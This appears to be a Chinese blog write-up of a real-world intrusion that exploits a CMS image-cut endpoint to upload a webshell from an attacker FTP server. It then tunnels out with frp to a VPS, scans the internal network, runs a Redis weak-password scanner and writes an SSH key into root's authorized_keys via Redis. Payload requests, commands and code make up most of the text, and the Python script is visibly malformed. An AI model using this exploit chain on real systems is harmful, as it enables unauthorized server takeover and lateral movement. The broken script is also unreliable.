前言

首先,这个站点有一个前台getshell的漏洞。

1.png

2.png

根据里面漏洞代码直接取post数据后缀作为后缀这一特性,且CMS支持FTP。

利用FTP上传图片,通过下载上传的正常图片(已被PHP的GD库渲染)之后,

利用脚本在图片中插入payload,

再次利用FTP上传达到GET Shell的目的

payload如下

POST /index.php?case=tool&act=cut_image  
pic=1ftp://*.*.*.*/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

搭建FTP服务器
我这里使用ubantu进行搭建

安装VSFTPD
sudo apt-get install vsftpd
安装完成后启动VSFTPD服务
service vsftpd start
新建目录/home/uftp作为用户主目录
sudo mkdir /home/uftp,最后我搭建完,主目录不是这里,/srv/ftp,这个才是
新建用户uftp,制定用户主目录和所用shell,并设置密码
sudo useradd -d /home/uftp -s /bin/bash uftp
sudo passwd uftp
然后将目录/home/uftp的所属者和所属组都改为uftp
sudo chown uftp:uftp /home/uftp
新建文件/etc/vsftpd.user_list,用于存放允许访问ftp的用户
sudo vim /etc/vsftpd.user_list,添加用户uftp
最后设置匿名访问
vim /etc/vsftpd.conf
write_enable=YES
anonymous_enable=YES
anon_upload_enable=YES
anon_other_write_enable=YES
anon_world_readable_only=NO

重启vsftpd服务,假如不行则设置相应的权限

Getshell

步骤:
将一张比较大的图片上传到ftp,注意选图,避免踩坑
利用上述POC,将图片上传到目标服务器,上传成功之后再将图片保存下来

/index.php?case=tool&act=cut_image  
pic=1ftp://*.*.*.*/*.jpg&w=228&h=146&x1=0&x2=228&y1=0&y2=146

保存图片之后,利用脚本在里面进行加shell,脚本如

exp.txt

放入有php环境中,运行:php exp.php *.jpg,即可得到绕过GD的图片马,再将其改为php文件进行上传

POST /index.php?case=tool&act=cut_image  
pic=1ftp://*.*.*.*/*.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

3.png

反弹Shell

天下武功,无坚不摧,唯快不破,是时候祭出蚁剑了

4.png

5.png

这台机子是在内网,加上我也不会linux提权,只能代理出来看看内网有没有其他机子
我这里使用frp这一代理工具,将其上传到目标服务器

6.png

server_addr为VPS地址,port则是监听端口
配置好之后将其上传到目标,并chmod +x frpc,赋予执行权限
VPS中的

7.png

赋予执行权限,运行
蚁剑中运行frpc

8.png

Kali扫描内网
vim /etc/proxychains.conf

9.png

修改好之后进行保存,使用nmap进行扫描常见的端口进行探测

proxychains nmap -sT sV -Pn -n 172.20.0.1-255 -p 80,8080,445,3306,1433,7001,6379,9090,50000,50030,7002,3389,21,22

10.png

发现172.20.0.2这台服务器开放6379端口,可以尝试扫描其是否存在redis未授权访问等漏洞

11.png

1.py代码如下

#!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2019/9/2-17:35
"""
import socket
import sys

passwds = ['redis','root','oracle','password','[email protected]','abc123!','123456','admin','abc123']

def check(ip, port, timeout):
try:
    socket.setdefaulttimeout(timeout)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print u"[INFO] connecting " + ip + u":" + port
    s.connect((ip, int(port)))
    print u"[INFO] connected "+ip+u":"+port+u" hacking..."
    s.send("INFO\r\n")
    result = s.recv(1024)
    if "redis_version" in result:
        return u"[HACKED] 未授权访问"
    elif "Authentication" in result:
        for passwd in passwds:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("AUTH %s\r\n" %(passwd))
            # print u"[HACKING] hacking to passwd --> "+passwd
            result = s.recv(1024)
            if 'OK' in result:
                return u"[HACKED] 存在弱口令,密码:%s" % (passwd)
    s.close()
 except Exception, e:
    if len(e.message) != 0:
        print u"[ERROR] "+e.message
    return u"[INFO] 目标Redis服务,暂不存在未授权和弱口令漏洞!"

 if __name__ == '__main__':
 ip=sys.argv[1]
 # default Port
 port="6379"
 if len(sys.argv) >= 3:
    port=sys.argv[2]
 result = check(ip,port, timeout=10)
 print result
 if "HACKED" in result:
    print u"[END] Start your hacking journey !!!"

kali安装redis

wget http://download.redis.io/releases/redis-2.8.3.tar.gz,下载
tar -zxvf redis-2.8.3.tar.gz,解压
cd redis-2.8.3/
make, 编译

redis漏洞利用
修改frpc.ini,将172.20.0.2的6379转发到VPS中的6379中

12.png

修改完成之后,重新启动代理
随后kali中生成一个公钥

ssh-keygen -t rsa

13.png

默认情况下,生成后在/root/.ssh 目录下,将生成的公钥的值写入目标服务器

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

查看是否生成

14.png

将这个文件写入进去

cat /tmp/foo.txt | /root/redis-2.8.3/src/redis-cli -h VPS -p 6379 -x set cracki

15.png

连接进去,将目录设置为 /root/.ssh/ 目录后,再将备份文件名设置为 authorized_keys,通过 save 指令即可写入文件

16.png

最后再修改frpc.ini,进行转发22端口

17.png

重新启动frpc

ssh -p 669 [email protected] -i /root/.ssh/id_rsa

18.png

利用成功

标签: 记一次内网渗透

添加新评论